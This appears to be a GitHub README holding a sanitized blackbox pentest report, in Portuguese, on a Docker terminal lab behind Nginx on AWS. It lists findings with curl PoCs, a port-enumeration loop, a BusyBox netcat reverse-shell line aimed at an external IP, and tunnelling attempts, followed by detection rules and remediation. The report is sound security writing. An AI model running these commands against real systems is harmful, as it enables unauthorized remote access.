Skip to content

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

🛡️ Advanced Security Assessment & Pentest Report (Sanitized Model)

Status Compliance Focus Methodology


📌 Visão Geral do Projeto

Este repositório contém o modelo higienizado (sanitized) de um relatório técnico de Penetration Test — modalidade Blackbox Assessment — conduzido contra uma instância provisionada em AWS EC2 (região us-east-2), exposta por um reverse proxy Nginx com terminação TLS válida via ZeroSSL.

O objetivo central deste projeto de portfólio não é apenas demonstrar a capacidade de identificar e explorar vulnerabilidades, mas sobretudo evidenciar a maturidade de converter artefatos ofensivos (Red Team) em inteligência preventiva acionável para times de defesa (Blue Team/SOC).

⚠️ Nota de Compliance: Todas as informações sensíveis originais deste engajamento — endereços IP, hostnames, identificadores de sessão e demais dados que pudessem expor a infraestrutura de origem — foram mascaradas de forma estrita neste material de divulgação pública, preservando integralmente a metodologia técnica aplicada.


⚖️ Governança, Maturidade Legal e Regras de Engajamento (RoE)

Com uma bagagem de 10 anos de estudo autodidata em Tecnologia da Informação e certificação prática SYCP — Solyd Certified Professional Pentester, a condução deste engajamento seguiu rigorosamente os pilares que sustentam um Statement of Work (SoW) profissional:

Pilar Aplicação no Engajamento
NDA (Non-Disclosure Agreement) Sigilo absoluto sobre o ambiente-alvo, credenciais e evidências brutas coletadas durante o teste.
Hold Harmless Clause Delimitação formal de responsabilidade civil/técnica do consultor em caso de indisponibilidade de serviço decorrente das atividades de teste autorizadas.
Escopo Estrito & Termos de Aceite de Risco Perímetro de testes claramente definido, com exclusão expressa de técnicas destrutivas (DoS/DDoS) e respeito integral à LGPD (Lei 13.709/2018) e ao Marco Civil da Internet (Lei 12.965/2014).

🛠️ Metodologia e Linha do Tempo

O engajamento foi estruturado sobre o PTES (Penetration Testing Execution Standard) como espinha dorsal, complementado por:

  • OWASP Testing Guide v4 — testes de aplicação web;
  • NIST SP 800-115 — referência de processo de avaliação de segurança;
  • MITRE ATT&CK Framework — mapeamento de TTPs, com destaque para T1046 (Network Service Scanning).

Fluxo Real do Engajamento

[ Reconhecimento Ativo ]
        │  Nmap (scripts NSE) + Enumeração de endpoints via ffuf/curl
        ▼
[ Mapeamento de Aplicação ]
        │  Identificação do fluxo de provisionamento (POST /create_lab)
        │  Mapeamento do wrapper/iframe Docker (/lab/view)
        ▼
[ Exploração ]
        │  Validação de vetores (SSTI, IDOR, WebSocket sem auth)
        ▼
[ Pós-Exploração ]
        │  Análise de filesystem interno, permissões, logs e tokens
        ▼
[ Tentativas de Persistência/Tunelamento ]
        │  Validação de controles de egress do sandbox
        ▼
[ Documentação & Report Writing ]

🎯 Matriz e Sumário de Descobertas Técnicas

ID Vulnerabilidade Encontrada Severidade (CVSS v3.1) CWE Status
SEC-01 Terminal Web ttyd sem Autenticação no WebSocket 🔴 Crítica — 9.8 CWE-306 ✅ Confirmado
SEC-02 Ausência de Cookies de Sessão / Controle de Acesso por IP em /lab/view 🟠 Média — 6.5 CWE-598 ✅ Confirmado
SEC-03 IDOR via Identificadores de Container Previsíveis (Portas Incrementais 9000–9003) 🟠 Média — 5.3 CWE-639 ✅ Confirmado
SEC-04 Arquivo de Sessão com Permissão Insegura 777 em /lab/temp/sess_0x9a.dat 🟠 Média — 5.0 CWE-732 ✅ Confirmado
SEC-05 Armazenamento Inseguro de Token em Base64 (/lab/crypto/token.b64) — exposição do setor Sector-Omega 🟡 Baixa — 4.3 CWE-312 ✅ Confirmado
SEC-06 Vazamento de Informação — Erro Crítico ERR-8172 exposto na linha 342 do server.log 🟡 Baixa — 3.7 CWE-532 ✅ Confirmado
SEC-07 Protocolo de Transferência TRZSZ Exposto no JavaScript Minificado do ttyd 🔵 Informativa — 3.1 CWE-434 ✅ Identificado
SEC-08 Tentativas de Server-Side Template Injection (SSTI) via campo de e-mail e headers HTTP 🔵 Informativa CWE-94 🛡️ Mitigado

🔬 Engenharia Reversa do Ataque: Detalhamento de Vulnerabilidades e PoC Conceitual

SEC-01 — Terminal ttyd sem Autenticação no WebSocket

O endpoint /lab/<PORT>/ws expunha um terminal Linux completo via WebSocket sem qualquer mecanismo de autenticação — sem token, sem credencial, sem validação de sessão. O handshake era aceito por qualquer cliente que conhecesse a URL, e as portas eram atribuídas sequencialmente, tornando a enumeração trivial:

# Confirmação do handshake — HTTP 101 Switching Protocols
curl -k -v -H 'Upgrade: websocket' -H 'Connection: Upgrade' \
  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
  -H 'Sec-WebSocket-Version: 13' \
  "https://<ALVO>:8000/lab/<PORT>/ws"

# < HTTP/1.1 101 Switching Protocols
# < Upgrade: WebSocket

Impacto: execução arbitrária de comandos como usuário não privilegiado dentro do container Alpine Linux — em cenário real, um vetor de acesso irrestrito e ponto de partida para movimentação lateral.

SEC-03 — IDOR via Portas Incrementais

# PoC — enumeração de portas de container
for port in $(seq 9000 9010); do
  status=$(curl -k -s -o /dev/null -w '%{http_code}' \
    "https://<ALVO>:8000/lab/$port/")
  echo "Porta $port: HTTP $status"
done
# Portas 9000-9003 retornaram HTTP 200 durante testes ativos

SEC-04 — Permissão Insegura 777

ls -la /lab/temp/ | grep 'rwxrwxrwx'
# -rwxrwxrwx 1 root root 0 Mar 3 20:22 sess_0x9a.dat

SEC-05 — Token Sensível em Base64

cat /lab/crypto/token.b64 | base64 -d
# Acesso restrito. Setor liberado: Sector-Omega.

Base64 não é criptografia — é apenas uma codificação de representação, reversível sem chave ou segredo.

Desafio Técnico Adicional — Resolução de Cadeia de Symlinks

readlink -f /lab/config/active_link
# OUTPUT: /lab/config/config_prod_final.ini

Cadeia completa: active_link → link_b → link_c → config_prod_final.ini.

Persistência e Tunelamento — Falha Analisada Tecnicamente

# Reverse shell via BusyBox nc
busybox nc <IP_EXTERNO> 4444 -e /bin/sh
# Resultado: timeout — sem rota de saída para IPs externos

# Tunelamento: ngrok, localhost.run, serveo.net, pinggy.io
# Resultado: FALHA em todas as ferramentas testadas

Causa raiz identificada:

  • Ausência de ferramentas de rede (ip, ifconfig, ping, netstat);
  • Bloqueio de rota de saída para IPs externos (egress filtering);
  • Bloqueio de acesso ao IMDS da AWS (169.254.169.254);
  • BusyBox minimalista, container operando sob uid=1000 — Princípio do Menor Privilégio (PoLP) corretamente aplicado.

🔵 Telemetria e Tradução para Blue Team / SOC

1. Detecção em SIEM

  • Padrão identificado: milhares de requisições HTTP 404 geradas durante o fuzzing (ffuf), além de payloads de bypass em headers (User-Agent/Referer).
  • Regra proposta: alerta quando um único IP gerar volume anômalo de 404 em janela curta (ex: >50 req/60s).

2. Regras de IDS/IPS

  • IoC comportamental: conexões repetidas a /ws sem token prévio.
  • Assinatura proposta: bloqueio para múltiplos HTTP 101 do mesmo IP em curto intervalo sem autorização.

3. Hardening & Remediação Defensiva

Prioridade Ação Recomendada
🔴 Alta Autenticação nativa via --token no ttyd, validada pelo Nginx.
🟠 Média Cookies HttpOnly, Secure, SameSite=Strict.
🟠 Média Randomizar portas de containers efêmeros.
🟠 Média chmod 600 em sessões e logs sensíveis.
🟡 Baixa Substituir Base64 por HMAC-SHA256.
🔵 Info Desabilitar TRZSZ (--disable-trzsz) quando não essencial.

📈 Conclusão

Este projeto sintetiza a capacidade de conduzir um engajamento ofensivo completo — do reconhecimento à pós-exploração — dentro de um arcabouço ético, legal e metodológico sólido, e de traduzir cada achado técnico em recomendações de defesa concretas.


📄 Relatório Completo

📎 Relatório técnico completo (PDF)


💡 Contato: LinkedIn | GitHub

About

Blackbox Pentest Report (Sanitized) — Red Team findings translated into Blue Team/SOC actionable intelligence. PTES | OWASP | NIST 800-115 | MITRE ATT&CK

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors